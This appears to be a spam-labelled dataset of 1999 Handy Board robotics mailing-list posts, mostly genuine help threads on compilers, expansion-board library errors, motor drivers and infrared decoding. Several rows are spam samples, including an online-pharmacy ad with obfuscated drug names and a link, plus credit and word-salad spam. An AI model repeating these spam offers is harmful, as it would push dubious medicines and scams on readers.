I have had excellent results with the Introl C compiler demo. In fact, the demo has more than enough capability to do some very interesting things. Just for the fun of it, I wrote a multitasking operating system and some basic libraries for the handyboard using the Introl *DEMO* compiler. You just have to work within the limitations of the compiler. If anybody is interested, I could post some additional information. -Tim Myrtle tfm@ix.netcom.com ",0,0 """James, Bill"" ",'Handyboard' ,"Wed, 27 Jan 1999 13:24:12 -0600",resistor packs and expansion board. ,"Fred, I thought I found a minor mistake in the parts list for the expansion board. But I now believe I didn't. The artwork on the schematic sold by Douglas shows that RP1 is a 1Kx7 where as your schematic and parts list shows it to be a 1Kx4. Since I bought the parts locally, I used the parts listing. I also had to cut the resistor packs since I could not find the right length. It seems that it can be done with out a problem. Just thought you would like to know. Bill James work 972.480.2306 pager 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Texas Instruments Polymath in Training Have Spacesuit will Travel ",0,0 Shelby Bourg ,handyboard@media.mit.edu,"Wed, 27 Jan 1999 10:33:34 -0500",Hottest Diet in America,", conway it amphioxis the cacophonist but buyer ! complementation ",1,0 Graeme Blackley ,handyboard@media.mit.edu,"Thu, 28 Jan 1999 09:17:19 +1300",Re: Native 68hc11 C compilers,"I definitely would be interested in hearing more... >>> user 01/28 8:19 AM >>> Graeme Blackley wrote: > > Is anyone using a compiler other than Interactive C? I like IC but want to get a bit closer to the metal. Being able to use a source level debugger would also be good. > > I've tried the Introl C compiler demo, and the it looks really good, but it seems to make assumptions about the location of the interrupt vectors (such as reset). > > Has anyone written libraries for the HB for use with any other compiler? I have had excellent results with the Introl C compiler demo. In fact, the demo has more than enough capability to do some very interesting things. Just for the fun of it, I wrote a multitasking operating system and some basic libraries for the handyboard using the Introl *DEMO* compiler. You just have to work within the limitations of the compiler. If anybody is interested, I could post some additional information. -Tim Myrtle tfm@ix.netcom.com",0,0 chad_pennebaker@douglas.com,handyboard@media.mit.edu,"Wed, 27 Jan 1999 21:01:38 +0000",Re: resistor packs and expansion board. ,"I just saw the following: The artwork on the schematic sold by Douglas shows that RP1 is a 1Kx7 where as your schematic and parts list shows it to be a 1Kx4. Response from Douglas: I do not know where that information came from. The list we (Douglas) sends out with the parts shows: 1 ea. - RP1 - 1Kx4 resistor pack. Do you know where you got the information you are quoting? We do not sell or supply a schematic of the board. _________________________________________________________________________ Chad Pennebaker, President mailto:chad_pennebaker@douglas.com ** Creators of the Douglas CAD/CAM System for Macintosh PCB Design ** Douglas Electronics, Inc. http://www.douglas.com 2777 Alvarado Street voice:+1 510 483-8770 x46 San Leandro, CA 94577 USA fax:+1 510 483-6453 BBS (FirstClass):+1 510 483-6548 ",0,1 MAR ERICSON ,Michael Toh ,"Wed, 27 Jan 1999 17:56:27 -0500",Re: navigation alorithm,"An article on the magazine, _Robot Science and Technology_ (relatively new publication), describes the micromouse competition and algorithms for maze solving. You can look up the HP somewhere and maybe get a back issue or something. I forgot which issue (maybe someone can fill in). ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 26 Jan 1999, Michael Toh wrote: > hi everyone, > > i just want to try my luck here. is there anyone out there has done a > mircomouse navigation in a maze before? i would like to have some pointers > on that. pls reply if there is a hope for me. > > thank u > > regards, > michael > > > ",0,0 Max Davies ,Adam Oliver ,"Wed, 27 Jan 1999 18:29:05 -0500",Re: executing instructions quickly,"Adam Oliver wrote: > My question : is it faster to write a procedure and use 6 calls, ie > move(1,100) move(2,100) move(3,100) .....etc or write it as a > macro? If your macro just calls the ""move"" routine it will make absolutely no difference because your are in effect typing in the above anyway. If your macro inserts the code for ""move"" inline rather than calling it it will be only very slightly faster and at a cost of much more memory usage. Typically the best approach is to ignore speed considerations (within reason!) during initial development and then to address hot spots should speed problems arise. I have often seen software developers wasting tons and tons of time developing complex code to run just as fast as possible when the simple approach would have been just as good if not even better. /Max ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","""Fred G. Martin"" ","Wed, 27 Jan 1999 19:08:10 -0600",Re: Expansion Board Files ,"Thanks Fred and you too Ranjit, I have just now got my board to accept the expansion board files. I reloaded the expansion board zip files,installed in ic but still would not load. It did not give a error message for the expsens.c file but did for the lib_hb.c file. There were throughout the code outside the comment lines starting with line 2. I deleted all squares but then it gave a error message for line 251--the last line. I cut lines 248 thru 251, the last function, and the code loaded so I pasted the lines back in and it seems to work now even with lines back in??? I have deleted the squares before but never any thing else. Anyhow, I want to thank you verry, verry much and also Ranjt because I have been working on this problem for weeks. I have checked one servo port and three of the analog ports I was so excited about getting it to work haven't even checked out the rest of the board . looks like the worm turned! Thanks Terry Gathright ---------- > From: Fred G. Martin > To: Terry P. Gathright <669@worldnet.att.net> > Cc: Fred G. Martin ; handyboard@media.mit.edu > Subject: Re: Expansion Board Files > Date: Tuesday, January 26, 1999 4:49 PM > > argh!@ my last email (which may arrive before this one) is in reply > to this. > > repeating it in the proper context: > > yes, there was a linefeed bug in the expsens.c file in hbexplib.zip. > > it should be fixed now. please re-download from the expansion board > asoftware page and try again. > > let us know if this fixes the problem. thanks a lot. > > fred > > > In your message you said: > > This is a multi-part message in MIME format. > > > > ------=_NextPart_000_01BE4944.9C4F5080 > > Content-Type: text/plain; charset=ISO-8859-1 > > Content-Transfer-Encoding: 7bit > > > > Fred; > > Here is the copy of expsens,c--------- At the lines in the hb was having > > problems with there was a small square figure at the starting point outside > > the comment*\\ and\\* for some reason. > > > > Any one else having a problem????? > > > > Thanks Terry > > > > > > > > ---------- > > > From: Fred G. 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Gathright <669@worldnet.att.net> > > > Cc: handyboard@media.mit.edu > > > Subject: Re: Expansion Board Files > > > Date: Tuesday, January 26, 1999 6:10 AM > > > > > > terry -- > > > > > > please send an attached copy of expsens.c. there's got to be a bogus > > > character in there. > > > > > > did anyone else have problems? > > > > > > fred > > > > > > > > > In your message you said: > > > > Still unable to load the expansion board files. > > > > lib_hb.lis is in the libs. > > > > How do I do ic _config in windows? do I need to? > > > > System will run fine until I try to load the expansion board files. > > > > I downloaded hbexplib.zip,unziped,put all expansion-libs inc:\\ic\\libs. > > > > > > > > Synchronizing with board > > > > Pcode version 3.10 present on board > > > > Loading C:\\IC\\libs\\lib_hb.lis. > > > > Loading lib_hb.c. > > > > Loading C:\\IC\\libs\\lib_hb.icb. > > > > Loading C:\\IC\\libs\\libexpbd.icb. > > > > Loading C:\\IC\\libs\\expsens.c. > > > > Loading C:\\IC\\libs\\expservo.icb. > > > > Loading C:\\IC\\libs\\explego.icb. > > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > > Errors, unloading files > > > > Cannot find file lib_hb.lis or file lib_hb.lis > > > > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > > > > > > > Thanks to All; > > > > Terry G. > > > > ---------- > > > > > From: Terry P. Gathright <669@worldnet.att.net> > > > > > To: handyboard@media.mit.edu > > > > > Subject: Expansion Board Files > > > > > Date: Sunday, January 24, 1999 9:56 PM > > > > > > > > > > I have not got my expansion board files to load! > > > > > what am I not doing correctly? Help !! > > > > > > > > > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > > > > > c\\ic. > > > > > > > > > > In ic I have : > > > > > > > > > > expansion-libs > > > > > libs > > > > > ic.help > > > > > ic.ini > > > > > ic.win.exe > > > > > install.log > > > > > > > > > > I can load ic but not any of the expansion files. > > > > > I get the message: parse error close to token """". > > > > > I have tried putting some expansion-libs into libs but still > > > > > get the <""illegal>"" and unloads. > > > > > After swaping files around so much the board would not load > > > > > libs so I deleted all and starting over now. > > > > > > > > > > Please explain the correct procedure to get this bugger up and > > running. > > > > > The expansion board kit from Douglas Electronics was great although > > > > > instructions would have helped. > > > > > > > > > > Thanks in advance, > > > > > Terry Gathright > > > > > 669@worldnet.att.net > > > > > > ------=_NextPart_000_01BE4944.9C4F5080 > > Content-Type: application/octet-stream; name=""expsens.c"" > > Content-Transfer-Encoding: 7bit > > Content-Description: expsens.c (C File) > > Content-Disposition: attachment; filename=""expsens.c"" > > > > /* expsens.c */ > > /* > > maintained by Fred Martin (fredm@media.mit.edu) > > VERSION HISTORY > > > > June 12, 1998 fredm > > first version created > > */ > > int analog(int port) > > { > > if (port < 2) { > > printf(""Port is in use by expansion bd\\n""); > > beep(); > > return -1; > > } else if (port < 7) { > > return _raw_analog(port); > > } else if (port < 16) { > > return 255 * !digital(port); > > } else if (port < 24) { > > return _exp_analog((port-16)<<8); > > } else if (port < 32) { > > return _exp_analog(((port-24)<<8)+1); > > } else { > > printf(""Analog port out of range\\n""); > > beep(); > > return -1; > > } > > } > > int digital(int port) > > { > > if (port < 7) /* analogs */ > > return analog(port) < 128; > > if (port == 7) /* TIC1 */ > > return !(peek(0x1000) & 1); > > if (port == 8) /* TIC2 */ > > return !(peek(0x1000) & 2); > > if (port == 9) /* PAI */ > > return !(peek(0x1000) & 128); > > if (port < 16) /* normal bit of 7fff as gotten from digital chip */ > > return !((peek(0x7fff) >> (port - 10)) & 1); > > if (port < 32) /* expbd analogs */ > > return analog(port) < 128; > > else { > > printf(""Digital port outof range\\n""); > > beep(); > > return -1; > > } > > } > > > > ------=_NextPart_000_01BE4944.9C4F5080-- > > > >",0,0 Mining concession PONCIANA ,,"Wed, 27 Jan 1999 18:02:25 -0300",Gold and Copper (Publ�c�dad)...........8 XKGKMJLLGY,"<<>> .:::Publicidad enviado por:::.  <<>> <<>>   LKDKSNFULCBJUIIFEZEQMIVJPTTZLXKGEGSBYS",1,1 Ranjit Diol ,HandyBoard MIT ,"Wed, 27 Jan 1999 21:51:19 -0500",Polaroid 6500 - HB/ExpBrd problem,"I assembled the expansion board and tested all I/O ports. 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But it will retutn a result for a math expression like 55*2; 110 I don't get it. Cappy Anderson PS I also used the DEMO of Conflict Catcher. It said there was a problem with Desk Writer driver I use for my printer-so I pulled those to my desktop out of the EXtensions folder. That was trhe only problem it found. ",0,0 """Fred G. Martin"" ",Ipsofac@aol.com,"Thu, 28 Jan 1999 10:30:49 -0500",Re: Mac DL problems ,"ok, i think you've established that the hardware is working properly. the fact that you can get IC to boot and talk to the board is strong proof of that. the zterm test demonstrates that the mac can send chars out; the IC example proves bidirectional comms. 1. are you certain that 6811 Downloader MCL is not working? to test, you'd have to drain the battery so your HB would lose its pcode, then attempt to download pcode_hb.s19 again. (you could also yank the ram chip and then put it right back, which would cause it to lose state.) the 6811 Downloader MCL wont' give you an error message (it doesn't attempt to handshake with the board). but if the HB has no pcode, and you run it and then it does, you're in business. 2. in an earlier message it sounded like the IC library load problem might be a result of the files not being in the right place on your hard drive, having nothing to do with communications. what is the precise error message/failure condition that happens with regard to this? fred In your message you said: > Fred- > Per your suggestion because I am having trouble DLing to the HB to my HB > thru my printer port with Apple talk off-I DLed ZTERM, set the baud rate to > 300 and watched the green light blink every time I hit a key on the Mac. > > A few oddities- The Handyboard P Code is still resident with beating heart. > It is there, as I mentioned in a previous post, because I DLed it from a > friend's System 7 Mac. > > With Z term- I get random character on the terminal console but NOT with ever y > key stroke. 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Martin"" ",Ipsofac@aol.com,"Thu, 28 Jan 1999 19:24:02 -0500","6811 Downloader MCL, version 1.1","hi cappy & others (sorry non-mac people), i've put up a revision of the Mac 6811 Downloader MCL. this version checks that everything's copacetic before dumping the .s19 file into external RAM. in other words, it checks that the desktop is properly talking to the loader routine that it's put into the HC11's internal RAM. so, if your serial connection isn't working, or the HB wasn't in boot mode when you started, you'll now get an error dialog. i've also added a ""Set Config"" option, which burns the HC11's config register to the proper value for use with IC. this only needs to be done to HC11s straight from the factory, or in rare cases where power surges cause the HC11 to lose its config setting. cappy, you should definitely download this version to help debug your serial problems. a direct link: fred",0,1 Hedda Dudash ,handyboard@media.mit.edu,"Thu, 28 Jan 1999 17:49:25 -0400",Re: zudeh news,"De c ar Home Ow c ne b r , Your c i redi q t doesn't matter to us ! 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If you attach a capacitor across the bridge rectifier under no load condition(output terminals are open), the capacitor gets charged not to 16 V rms but to the maximum value ie Vm=16*2^0.5 which is about 22 V.This could be the problem. Yours sincerely, Nitin On Fri, 29 Jan 1999 BMajik5127@aol.com wrote: > > I have a transformer, when powered by 110 vac I get 16 vac out. > I put it through a bridge rectifier and the problem is when I put a cap say > 20v 1000uf > across the + - of the rectifier, the voltage jumps to about 20 vdc. > If I omit the cap and attach a small dc motor I get the same effect. WHY??? > Any info would be much appreciated. > -Mike > ",0,0 Ipsofac@aol.com,handyboard@media.mit.edu,"Sat, 30 Jan 1999 08:53:20 -0500",DL with a Mac,"Fred- Thank you for the new version DLoader MCL. I can now indeed load the P- code. Useing this Mac 6500 Apple talk off-printer port-I am still finding odd things-very odd things. A week back-I replaced the hex inverter, memory chip, & U6. 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I've tried to gather as much documentation on its assembly. > However, I have two questions: > > 1) The DOT on the resister pak's: Is that the end which goes in the > SQUARE pad? Yes > 2) How many male strip connectors should there be at the bottom side of > the exp. board and what outline on the top do they apply to? ----6---J2-19 pin ,J19-two 4 pin,J6-4 pin,-one 14 pin for the LCD,-one 4 pin lower r.h. over digital 0,1,2,3. on the hb. All go on the outer edge of the board except J19. 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No the > >LCD screen does not work. Also, after dowloading the pcode_hb,s19 file > >the interactive C does not start up. > > The first thing to try might be to reset the config register. > Instructions for this are in the Handy Board Technical Reference which > came with the system. (The fact that the LCD screen does not seem to work > is probably due to the pcode_hbs19 not being loaded properly, not a > hardware problem. Of course, make sure that the LCD screen is seated > properly, with its 14 pins in the right places.) Please let us know if > this does not solve the problem. > > Best regards, > Wanda Gleason > > ********** > Gleason Research > P.O. Box 1247 > Arlington MA 02474 USA > phone/fax: 781-641-2551 > http://www.gleasonresearch.com > info@gleasonresearch.com Thanks for your response. When we load the pcode_hb.s19file with the right CONFIG it seems to load properly. We then turn the HB off and back on and try to load the Interactive C. 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WHY??? > Any info would be much appreciated. > -Mike > > Well, just off the top of my head, when you say ""get 16 vac out"" how are you determining this, a volt meter set for ""Volts AC"" or some such? Not, say, an oscilloscope? You will note that almost all meters render ""AC Voltage"" as the RMS (Root Mean Square) voltage. That is to say, it is sqrt(2)/2 the peak to peak voltage. However, when you rectify and low pass an AC waveform without any much load, you get approximately the peak to peak voltage of the AC waveform as a DC level, minus twice the forward voltage drop of the particular diodes you have chosen for your rectifier. For example, 16 VAC = (16 / (sqrt(2)/2)) = 22.7 VDC. Assuming you are using a rectifier built with silicon diodes, (which have a .7 volt forward drop across them) you would measure 22.7 - (2 * .7 ) = 21.3 volts DC. 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I can't wait to arrive at job and continue the mounting! See you, Cesar ",0,0 Stefano Falconetti ,handyboard@media.mit.edu,"Mon, 01 Feb 1999 16:37:52 +0100",Re: First steps ok,"Do anyone know who sells handyboards in Italy ? A lot of similar boards, but not the MIT's one. And these other boards are programmable directly with the code written for the handy board ? I think I 'll habve to make the porting. Lucky you who live in a so big country... ---------- > From: Cesar Mello > To: handyboard@media.mit.edu > Subject: First steps ok > Date: 01 February 1999 16:03 > > Hi! > > I'm extremely happy today, that I could start mounting my Hand Board. The > reset chips arrived and now the only thing that's missing is the lcd, but it > should arrive by next Monday. > > I've mounted the serial comm board and it worked ok, and I've mounted the > cpu board untill the first boot test. It's very easy to mount the board > following the hba instructions, congratulations for that Fred and others!!! > > I'd like to know if it's ok to have a strange wave form in the E clock pin > (5). It's not a perfect square wave, but it's running stable at 2 MHz and > the cristal signal is a perfect senoid at 8 MHz. > > I can't wait to arrive at job and continue the mounting! > > See you, > Cesar",0,0 Keely Soderman ,handyboard@media.mit.edu,"Sun, 31 Jan 1999 08:31:45 -0700",Re: zubuc news,"De i ar Home O h wne n r , Your cr v ed b it doesn't matter to us ! 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Stefano. ---------- > From: Steve Wall > To: Stefano Falconetti > Subject: Re: First steps ok > Date: 01 February 1999 17:06 > > You might have to order the blank boards from America and build them > yourself. I live in Canada and there are no suppliers of Handy > boards that I know of. They only thing is that you will have to find > or order all your components. Which I think is kind of fun, it gives > you more appreciation for the project. I am pretty sure that there > are only 3 suppliers in the world 2 are in the U.S and one in Hong > Kong. Try Douglas Electronics in California, That where the > original boards were manufactured but the only sell blank boards. > > > > > ___________________________________________________ > Steve Wall > Sir Sandford Fleming college > Swall@flemingc.on.ca",0,0 """Fred G. Martin"" ",Mike Magdalen and Vincent Howard ,"Mon, 01 Feb 1999 11:50:05 -0500",Re: HB failure ,"the buzzing indicates that the LCD isn't connected right (or is dead, as you are guessing). first, please be sure that all 14 pins of the LCD are inserted properly into the LCD connector. then (if still probs), try downloading Kent Farnsworth's replacement pcode_hb.s19 file from: http://el.www.media.mit.edu/projects/handy-board/software/contrib/kent/no_lcd/ this will let your handy board work properly if the LCD screen is broken/not plugged in. fred In your message you said: > > > Gleason Research wrote: > > > Dear Mike: > > > > >We got a Handy Board from you about a month ago. When my son was using > > >it > > >he removed the LCD screen from the HB while it was powered on. No the > > >LCD screen does not work. Also, after dowloading the pcode_hb,s19 file > > >the interactive C does not start up. > > > > The first thing to try might be to reset the config register. > > Instructions for this are in the Handy Board Technical Reference which > > came with the system. (The fact that the LCD screen does not seem to work > > is probably due to the pcode_hbs19 not being loaded properly, not a > > hardware problem. Of course, make sure that the LCD screen is seated > > properly, with its 14 pins in the right places.) Please let us know if > > this does not solve the problem. > > > > Best regards, > > Wanda Gleason > > > > ********** > > Gleason Research > > P.O. Box 1247 > > Arlington MA 02474 USA > > phone/fax: 781-641-2551 > > http://www.gleasonresearch.com > > info@gleasonresearch.com > > Thanks for your response. When we load the pcode_hb.s19file with the > right CONFIG it seems to load properly. We then turn the HB off and back > on and try to load the Interactive C. This does not work at the > computer says ""attempting to linkt to board on port com1 > Synchronizing with board ..."" > > no repsonse from this. The LCD screen is blank during tis time. > > Help ? > > PS The buzzer is turned on with a light pitch for the entire time. > > Mike Howard > howvin@ncal.verio.com > > > ",0,1 Chen Yung Hsu ,handyboard@media.mit.edu,"Mon, 01 Feb 1999 12:23:11 -0500",Re: infrared transceivers,"Would anyone happen to know where I can order infrared transceivers, catalogues, or stores in nyc? ",0,0 Eric Noyau ,handyboard@media.mit.edu,"Mon, 01 Feb 1999 10:48:20 -0800",Handyboard and iMac," Hi all, Do you remember me asking if the HandyBoard was working on an iMac with an USB/Serial adapter? Well, all the USB/Serial adapters have been back ordered for the last 4 months, so I was unable to find or try any of them ;^(. But I bought an iPort for $60 at my local Fry's (for more info in iPort see http://www.griffintechnology.com/), installed it inside my iMac, plugged my HB in it, fired up IC and it just worked. The iPort is not for the faint of heart: you have to disassemble your iMac in order to remove the motherboard and put the iPort under it in the really tight case. But hey, it worked and I can now ditch this crappy PC of mine... On a completely different subject: has somebody compiled the freeware version of IC for NeXTSTEP? I have a cube and a station at home, and I was wondering if somebody ever tried this hardware with IC? -- Eric ",0,1 Boutin Tristan ,handyboard@media.mit.edu,"Mon, 01 Feb 1999 11:20:59 -0500",What's happening in fitness world?,"be flea see incendiary a tamarack may driven it dickey ",1,0 """Fred G. Martin"" ",Eric Noyau ,"Mon, 01 Feb 1999 16:05:42 -0500",Re: Handyboard and iMac ,"way back randy did have it running on NeXT, before NeXTSTEP. the unix sources are pretty clean; probably the only tricky part would be the serial line access. fred In your message you said: > > Hi all, > > Do you remember me asking if the HandyBoard was working on an iMac with an US B/Serial adapter? > > Well, all the USB/Serial adapters have been back ordered for the last 4 month s, so I was unable to find or try any of them ;^(. But I bought an iPort for $6 0 at my local Fry's (for more info in iPort see http://www.griffintechnology.co m/), installed it inside my iMac, plugged my HB in it, fired up IC and it just worked. > > The iPort is not for the faint of heart: you have to disassemble your iMac in order to remove the motherboard and put the iPort under it in the really tight case. But hey, it worked and I can now ditch this crappy PC of mine... > > On a completely different subject: has somebody compiled the freeware version of IC for NeXTSTEP? I have a cube and a station at home, and I was wondering i f somebody ever tried this hardware with IC? > > -- Eric > > > ",0,1 user ,handyboard@media.mit.edu,"Mon, 01 Feb 1999 14:47:25 -0800",Native 68HC11 C Compiler Followup,"For those who asked me for more information about the Introl Compiler and my code, I have created a web page which can be found at http://pweb.netcom.com/~capriola/MicroRTOS/index.htm A little background: I had originally planned to release this code back in August. However, at that time, Introl had just removed the demo compiler from their ftp site pending release of a new version. This situation continued over a number of months. I now see that they have released the new version of the compiler, and the demo is once again available. Unfortunately, I have not had the time to install the new version and try it with my code. It is entirely possible that the new version contains additional restrictions that could make it unusable for this project. If any brave soul is able to get this working with the newest version, please let me know. As I mentioned in my original post, I had written a basic multitasking executive for the Handyboard using the Introl demo compiler. I did this simply to learn more about microcontrollers and real-time operating systems. I had a lot of fun doing it, but lately have not had the time to keep working on it. If anybody finds this code useful and extends or improves it, please send the changes to me and I will include them in the distribution. -Tim Myrtle tfm@ix.netcom.com ",0,1 Trevor Batts ,handyboard@media.mit.edu,"Mon, 01 Feb 1999 16:40:03 -0600",Will the SN754410 support...," I am trying to determine whether the SN754410 motor drivers will support two small DC motors. (without killing the IC's or motor) Or will I need to add a power amplification circuit. The motors are rated @ 6v ?A. Test show that they pull 0.35A loaded and 1.5A lock rotor. Is this within the scope of the integrated hbridge of the Handy board or will I ""release the magically smoke"" from the chips? I have looked at the chips white papers for temp/current derating. (I feel a little lost, trying to interpret the info.) :] I would appreciate some help in determining how to derate the chips due to temperature. Hitting on the same thread can anyone tell me the power rating for these chips.   Thanks, Trevor Batts ",0,0 """Hoarding U. Neva"" ",Bait ,"Mon, 01 Feb 1999 14:01:59 -0400",The Ultimate Online Pharmaceuticals,"Vlioagra $3.3 Levitpra $3.3 Cialris $3.7 Imitraex $16.4 Folomax $2.2 Ultrxam $0.78 Viohxx $4.75 Amkblem $2.2 VaIiwum - $0.97 Xannax $1.09 Sonma $3 Merifdia $2.2 visit our website http://gianoder.com/?UHJENDU1NaQBhdW1RVQVhdXXRQXBxQVQ== ___ Best regards, Online Pharmaceuticals asdffgjd U1NaQBhdW1RVQVhdXXRQXBxQVQ== A clean glove often hides a dirty hand. Sour work, sweet sleep. Begin in time to finish without hurry. ",1,1 """Fred G. Martin"" ",Trevor Batts ,"Mon, 01 Feb 1999 21:56:31 -0500",Re: Will the SN754410 support... ,"if the worst-case current is 1.5A, you're probably OK -- the SN754410's have thermal protection for over-current conditions. they're rated for an amp continuous, so you're not too far out of bounds. one cause for concern is if the 1.5A measure is done with 6V, it could be substantially higher with the HB's 9.6v supply. but then, the motor chips lose a couple of volts, so you're back in a happy range. fred In your message you said: > I am trying to determine whether the SN754410 motor drivers will suppor t > two small DC motors. (without killing the IC's or motor) Or will I need to > add a power amplification circuit. > The motors are rated @ 6v ?A. Test show that they pull 0.35A loaded and > 1.5A lock rotor. Is this within the scope of the integrated hbridge of the > Handy board or will I ""release the magically smoke"" from the chips? > I have looked at the chips white papers for temp/current derating. (I f eel > a little lost, trying to interpret the info.) :] I would appreciate some > help in determining how to derate the chips due to temperature. > Hitting on the same thread can anyone tell me the power rating for thes e > chips. > > Thanks, > Trevor Batts > > ",0,0 Cesar Mello ,"Stefano Falconetti , handyboard@media.mit.edu","Tue, 02 Feb 1999 00:58:21 -0200",Re: First steps ok,"Hi! Amazing when I listened MY HandyBoard playing the Pink Panther theme!!! Again thank you very much to Fred and everybody who helped him, you really did a very great job! I was waiting for this moment for about three months! >Do anyone know who sells handyboards in Italy ? I'm very glad today, but I can't help you because I live in Brazil. Italy, let me see, yes, I remember the 1994 World Cup decision! :-) I'd suggest you BG Micro, because they send good electronic pieces all over the world. >A lot of similar boards, >but not the MIT's one. I'd suggest you get all the parts from the chepear distributors, and mount your HB yourself as the instructions are very clear and you should be able to buy the excellent Douglas Electronics PCBs. Best regards, Cesar ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 01 Feb 1999 19:01:12 -0800",Re: Expansion Board Files,"I had similar problems with lib_hb.c. Downloaded it tonight (1800 local time in California, 1 Feb 99). After removing all the ""little squares"" there were still about 8 or 10 errors. At each error I deleted all white space in the error's location, and then replaced it as needed for clarity. The very last error was the CR following the closing curly bracket in random(). Weird!! Now it loads properly, but haven't had a chance to check out the new functions. - - - Nick - - - ""Terry P. Gathright"" wrote: > > It did not give a error message for the expsens.c file but did for the > lib_hb.c file. There were throughout the code outside the > comment lines starting with line 2.",0,0 """MOHD. AZREE IDRIS"" ","""'handyboard@media.mit.edu'"" ","Tue, 02 Feb 1999 12:32:21 +0800",unsubscribe,"I would like to unsubscribe the mailing list Thank you ",0,0 Chua Choon Beng ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 13:58:25 +0800",Unsubscribe,"I would like to unsubcribe from the mailing list ==================================================== Osaka Densi Block 1003 Toa Payoh Industrial Park #04-1521, Singapore 319075 Tel : (65) 356-2848 Fax : (65) 356-2945 Office-Email : chuacb@osaka-densi.com.sg Personnal-Email : chuacb@cyberway.com.sg ==================================================== ",0,0 """Sharron C. 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Still you are safer going north, even though you seem to be going back nearer to their strongholds; for that is what they will least expect, and they will have the longer ride to catch you. Be off now as quick as you may! That is why they were now riding in silence, galloping wherever the ground was grassy and smooth, with the mountains ",1,1 """SHETTI.NITIN.MANGESH"" ",handyboard@media.mit.edu,"Tue, 02 Feb 1999 14:46:19 -0500",ROVER,"Dear Mr Fred Martin, I hope you remember that we in India were making a rover ,which in the end ran into some problems.We had to present the inoperational rover only for the exhibition. Now,after the exhibition we are trying to make the rover work. We have noticed two things-7404 is not being accepted by the handy board,this is inspite of the fact that 7404 tests fine with the digital IC tester. The 74138 pins must be pulsing according to the handy board assembly manual, but when we checked it wasn't. Can anybody make sense of what is going on? Please reply soon. Yours sincerely, Nitin ",0,0 Tey Chee Beng ,Handy Board mailing list ,"Tue, 02 Feb 1999 20:15:02 +0800",Decoding Infrared receiver,"Dear Mr Fred Martin/Friends, I have been playing with the handyboard for a while now, currently I have four handyboards. I'm working on the communication module between the handyboards using the infrared emitter and the Sharp IS1U60 infrared demodulator. Currently, I have this problem, I was unable to sample or decode the data from the Sharp IS1U60 infrared demodulator, as the transmission part is OK. The data transmitted from the infrared emitter is in the form of: - 1 Start bit, 8 data bit and 1 stop bit, with a frequency of 400Hz/2.5ms for 1 bit (for testing purpose). As for the receiver part, the Sharp IS1U60 infrared demodulator is used and is connected to the port PA2/TIC1. So the excepted data pulses received after the Sharp IS1U60 infrared demodulator or at the port PA2/TIC1 will be a low pulse (start bit), follow by the data (8 bits), and another low pulse (stop bit). When there is no data, the port PA2/TIC1 will always read high (logic '1'). (Codes written) Interrupt will be generated when there is a falling edge detected on the port PA2/TIC1, which is the start bit of the transmitted data. Upon interrupt, 68HC11 will wait for 1.25ms, which is about the center of the Start bit, and sampled the port PA2/TIC1 for the logic level (either a '1' or a '0'). A logic '0' should be read from port PA2/TIC1, but that is not my case, coz I always read a logic '1' at port PA2/TIC1. Does anyone know what's the problem ? The following codes is used to read port PA2/TIC1, PORTA EQU $1000 CLRA LDAB PORTA STD PA2 (PA2 is a two bytes variable) Even if I read the port PA2/TIC1 immediately in the interrupt subroutine, I still get a logic '1' instead of a logic '0'. I have double check with the oscilloscope that a logic '0' should be the correct value instead of a logic '1'. But with the Sharp IS1U60 infrared demodulator removed, and port PA2/TIC1 short to the ground, a logic '0' can be read. What is the problem, does anyone ever faced the same problem before ? Or is it because port PA2/TIC1 cannot handle a string of high frequency pulses. Any comments on this issue.... Thanks in advance, James ",0,0 Bach ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 04:17:50 -0500",Wish your fat is a goner,"but eigenvalue or landslide on buckley a missionary and manuel ",1,0 """Fred G. Martin"" ",Nick Taylor ,"Tue, 02 Feb 1999 08:22:14 -0500",Re: Expansion Board Files ,"OK, i've tried again, this time fixing lib_hb.c and hbsensor.c. if people continue to have problems, please let me know. thanks. fred In your message you said: > I had similar problems with lib_hb.c. Downloaded it tonight (1800 > local time in California, 1 Feb 99). After removing all the ""little > squares"" there were still about 8 or 10 errors. At each error I > deleted all white space in the error's location, and then replaced > it as needed for clarity. The very last error was the CR following > the closing curly bracket in random(). Weird!! > > Now it loads properly, but haven't had a chance to check out the > new functions. > > - - - Nick - - - > > ""Terry P. Gathright"" wrote: > > > > > It did not give a error message for the expsens.c file but did for the > > lib_hb.c file. There were throughout the code outside the > > comment lines starting with line 2. >",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 02 Feb 1999 08:26:51 -0500",HOW TO UNSUBSCRIBE,"Wowsa! It appears to be time for the periodic ""how to unsubscribe"" reminder. The *only* way to unsubscribe is to send mail to Fred Martin, fredm@media.mit.edu, asking to be removed. All other methods have proven in the past to be futile. Once again, ""To unsubscribe from the Handy Board mailing list, you must send a request to Fred Martin (fredm@media.mit.edu) -- he is the only one who can help you."" Whew! Fred ",0,0 """Fred G. Martin"" ","""SHETTI.NITIN.MANGESH"" ","Tue, 02 Feb 1999 08:29:31 -0500",Re: ROVER ,"are you using 74HC04, and not plain 7404? you must use all HC type chips in the Handy Board. fred In your message you said: > Dear Mr Fred Martin, > I hope you remember that we in India were making a rover ,which in > the end ran into some problems.We had to present the inoperational rover > only for the exhibition. Now,after the exhibition we are trying to make > the rover work. > We have noticed two things-7404 is not being accepted by the handy > board,this is inspite of the fact that 7404 tests fine with the digital IC > tester. > The 74138 pins must be pulsing according to the handy board > assembly manual, but when we checked it wasn't. > Can anybody make sense of what is going on? Please reply soon. > Yours sincerely, > Nitin > > ",0,0 haner ,handyboard@media.mit.edu,"Tue, 02 Feb 1999 21:53:18 +0800",Could I set the RS-232 adlib?," 主旨: Could I set the RS-232 adlib? Could I set the serial port (RS-232) adlib to 2400(or 4800) 8 bit, no parity,and 1 stop bit. If I can,where and how to set ? thanks! ",0,0 doug@knowpeace.com,"""Fred G. Martin"" ","Tue, 02 Feb 1999 05:56:35 -0800",Re: Expansion Board Files ,"Fred, I too am having trouble with parsing of the expansion libraries. I just downloaded your new versions: lib_hb.c 2/2/99 8:15 AM hbsensor.c 2/2/99 8:20 AM Error message as follows: Synchronizing with board Pcode version 3.10 present on board 